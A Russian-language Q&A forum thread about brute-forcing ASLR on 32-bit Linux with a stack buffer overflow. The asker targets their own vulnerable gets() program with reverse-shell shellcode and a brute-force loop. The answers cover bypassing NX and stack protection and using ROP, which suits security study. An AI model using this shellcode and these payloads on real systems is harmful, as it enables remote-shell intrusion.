ASLR брутфорс - PullRequest
       27

ASLR брутфорс

2 голосов
/ 15 мая 2011

Я пытался на практике использовать реализацию ASLR на моей машине. Сначала я проверяю, включен ли ASLR.

cat /proc/sys/kernel/randomize_va_space
1

Машина, которую я использую: -

bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux

Моя программа проста, как показано ниже.

bt ~ # cat t.c
#include<stdio.h>


int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}

Чтобы использовать это, я создаю переменную окружения следующим образом. Как видите, у него действительно огромные сани с кодом эксплойта для обратной оболочки.

export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

Я узнаю адрес переменной среды, используя следующую программу на C:

int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}

Я получаю адрес как 0xbfefadfd.

Я выяснил, что переполнение адреса возврата занимает 76 bytes of something + 4 bytes of the return address. Итак, для того, чтобы перебить, я делаю: -

$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done

Как и ожидалось, я получаю журнал ошибок сегментации, однако, я не получаю обратную оболочку даже после запуска программы в течение примерно 30 минут. Что-то я здесь не так делаю?

Ответы [ 3 ]

2 голосов
/ 15 мая 2011

Есть несколько вещей, которые вы должны принять во внимание. 1. Ваш шеллкод должен соответствовать вашей архитектуре. (это легко проверить). 2. Поскольку вы помещаете свой шелл-код в стек, вы должны убедиться, что стек является исполняемым. Один из способов добиться этого - скомпилировать с флагом -z execstack в gcc.

Кроме того, могут быть и другие подходы, которые могут увеличить ваши шансы попасть на правильный адрес.

2 голосов
/ 15 мая 2011

Возможно, стек не исполняемый.Вы можете проверить с помощью readelf.Если раздел GNU_STACK не помечен как исполняемый, ваше приложение имеет стек NX.

Кстати, в этом случае есть лучший способ победить ASLR.

Что вы можете сделать, так этовозвращение в раздел .text, адрес которого ASLR не изменяет.pop-ret, pop-pop-ret будет выдвигать стек до тех пор, пока вы не достигнете «полезных» значений.То, что можно использовать, очень ситуативно.Обычно вы будете искать указатели для ввода строк, переменных env и т. Д.

Кроме того, возвратно-ориентированное программирование (ROP) в настоящее время является модным словом.Проверьте это.

1 голос
/ 15 мая 2011

Я не знаю, на какой платформе вы это примеряете, но очень вероятно, что, кроме ASLR, ваш gcc по умолчанию также использует канарейку / защиту стека. Чтобы отключить эту компиляцию с -fno-stack-protector.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...